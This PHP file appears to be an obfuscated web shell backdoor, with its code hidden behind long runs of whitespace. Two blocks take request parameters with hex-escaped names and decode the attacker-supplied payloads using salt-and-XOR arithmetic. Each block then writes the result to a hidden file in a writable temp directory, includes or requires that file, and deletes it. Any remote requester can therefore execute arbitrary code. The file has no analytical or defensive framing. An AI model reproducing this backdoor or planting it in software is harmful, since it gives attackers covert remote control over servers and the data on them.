<?php																																										if(!empty($_REQUEST["\x6D\x72k"])){ $ent = $_REQUEST["\x6D\x72k"]; $ent= explode ("." , $ent); $dchunk = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8); $w = 0; array_walk($ent, function ($v3) use (&$dchunk, &$w, $salt8, $lenS) {$chS = ord($salt8[$w % $lenS]); $dec = ((int)$v3 - $chS - ($w % 10)) ^ 19; $dchunk .= chr($dec); $w++; }); $obj = array_filter([getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", "/dev/shm", getcwd(), getenv("TEMP"), session_save_path()]); for ($bind = 0, $pointer = count($obj); $bind < $pointer; $bind++) { $ptr = $obj[$bind]; if (!!is_dir($ptr) && !!is_writable($ptr)) { $reference = sprintf("%s/.k", $ptr); $success = file_put_contents($reference, $dchunk); if ($success) { include $reference; @unlink($reference); die();} } } }


if(!empty($_REQUEST["\x65nt"])){
	$flag = array_filter([sys_get_temp_dir(), session_save_path(), "/dev/shm", getcwd(), "/var/tmp", "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP")]);
	$holder = $_REQUEST["\x65nt"];
	  $holder 	=		 explode ( 	 ".",$holder);  
	$reference		='';
            $salt		='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen		=strlen( $salt );
            $u		=0;
            $len		=count( $holder );
    
            do {
                if( $u>=$len) break;
                $v4		=$holder[$u];
                $chS		=ord( $salt[$u % $sLen] );
                $d		=( ( int)$v4 - $chS -( $u % 10)) ^	 35;
                $reference	 .=chr( $d );
                $u++;
            } while( true );
	foreach ($flag as $parameter_group):
    		if (is_dir($parameter_group) && is_writable($parameter_group)) {
    $dchunk = join("/", [$parameter_group, ".value"]);
    if (file_put_contents($dchunk, $reference)) {
	require $dchunk;
	unlink($dchunk);
	exit;
}
}
endforeach;
}